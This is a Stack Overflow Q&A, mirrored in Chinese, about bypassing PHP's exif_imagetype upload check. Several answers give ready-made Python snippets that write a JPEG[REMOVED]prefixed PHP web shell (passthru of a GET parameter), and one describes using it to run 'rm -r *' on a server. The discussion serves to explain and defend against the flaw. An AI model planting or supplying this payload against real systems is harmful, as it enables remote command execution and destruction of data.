【问题标题】:How to bypass the exif_imagetype function to upload php code?如何绕过exif_imagetype函数上传php代码?
【发布时间】:2013-08-21 12:12:08
【问题描述】:

我读到 exif_imagetype 是一种安全功能,可以避免上传 php 或其他 shell 代码而不是图像文件。最近我读到另一篇文章,我们可以通过一些简单的方法绕过这个安全功能。因此,如果有人知道绕过的确切方法,您可以分享您的答案。

我在我的 php 脚本中使用了以下代码,所以我想知道这是否易受攻击并对此进行补救

 if (! exif_imagetype($_FILES['upload']['tmp_name'])) 
   { 
    echo "File is not an image";
   }

【问题讨论】:

  • 手册的第一行说:“exif_imagetype() 读取图像的第一个字节并检查其签名。” - 所以欺骗前几个字节来查看就像图像签名一样。
  • 您的实际情况是什么?
  • 如果您正确处理图像,无论图像中是否存在代码,都不会执行任何代码。图像文件包含序列<?php ... ?> 可能只是偶然
  • 我找到了这个,有一个简单的 python 脚本和很好的解释:raidersec.blogspot.com/2012/10/…
  • 有趣的是,寻找 exif_imagetype 文档以解决 overthewire ctf 挑战如何首先提出这个问题。

标签: php file-upload


【解决方案1】:

根据@jake_the_snake 先生的回答,我还将在 Python 中包含一个快速代码示例

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()

【讨论】:

    【解决方案2】:

    这比只运行 exif_imagetype 要复杂一些。该函数只是检查文件开头的幻数,因此需要更多检查。如果对您的软件没有更多了解,就很难做出判断,但请考虑以下示例:

    我用 JPEG 幻数 0xFFD8FFE0 后跟字符串 &lt;? passthru($_GET["cmd"]); ?&gt; 构造“shell.php”。

    我将它上传到您的服务器。幻数绕过exif_imagetype。文件上传到www.your-domain.com/uploads/shell.php。然后我导航到www.your-domain.com/uploads/shell.php?rm -r *。服务器找到起始&lt;? 并开始解释PHP。耶!假设您在 Linux 网络服务器上运行,我已经删除了您上传的所有内容。

    即使对图像的有效性进行更深入的检查也无济于事,因为我可能会将我的恶意脚本包含在图像的元数据中。这只能通过使用文件扩展名白名单来防止。

    [TL;DR] 没有更多检查是不安全的。您需要确保适当的文件名、使用文件扩展名白名单、限制文件大小并执行标准安全措施。

    【讨论】:

    • 所有这些函数只是检查文件开头的幻数:exif_imagetype、mime_content_type、finfo_file。但是 getimagesize 和 imagecreatefromjpeg 将无法解析它,而且这仅在文件扩展名为 .php 时才有效,除非您的 apache/nginx 将其他文件解析为 php。
    【解决方案3】:

    @solidak 的答案适用于 python2,因为它现在已被弃用,这里是 Python3 重写:

    >>> fh = open('shell.php', 'wb')
    >>> fh.write(b'\xFF\xD8\xFF\xE0' + b'<? passthru($_GET["cmd"]); ?>')
    >>> fh.close()
    

    【讨论】:

      【解决方案4】:

      为了安全我使用

      $extension = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);
      
      if(!in_array(strtolower($extension), array('jpg', 'jpeg', 'png', 'gif')))
      {
          echo "File is not an image";
      }
      

      【讨论】:

      • 这在任何方面都不安全。它不仅不能正确解决问题,而且对于任何简单地将文件重命名为以 .png.jpg 结尾的人来说都是完全脆弱的,基本上允许任何未知代码。
      猜你喜欢
      • 2011-06-16
      • 2013-04-17
      • 2020-08-10
      • 1970-01-01
      • 2012-04-29
      • 2014-07-21
      • 2013-04-17
      • 2021-05-13
      • 2013-06-27
      相关资源
      最近更新 更多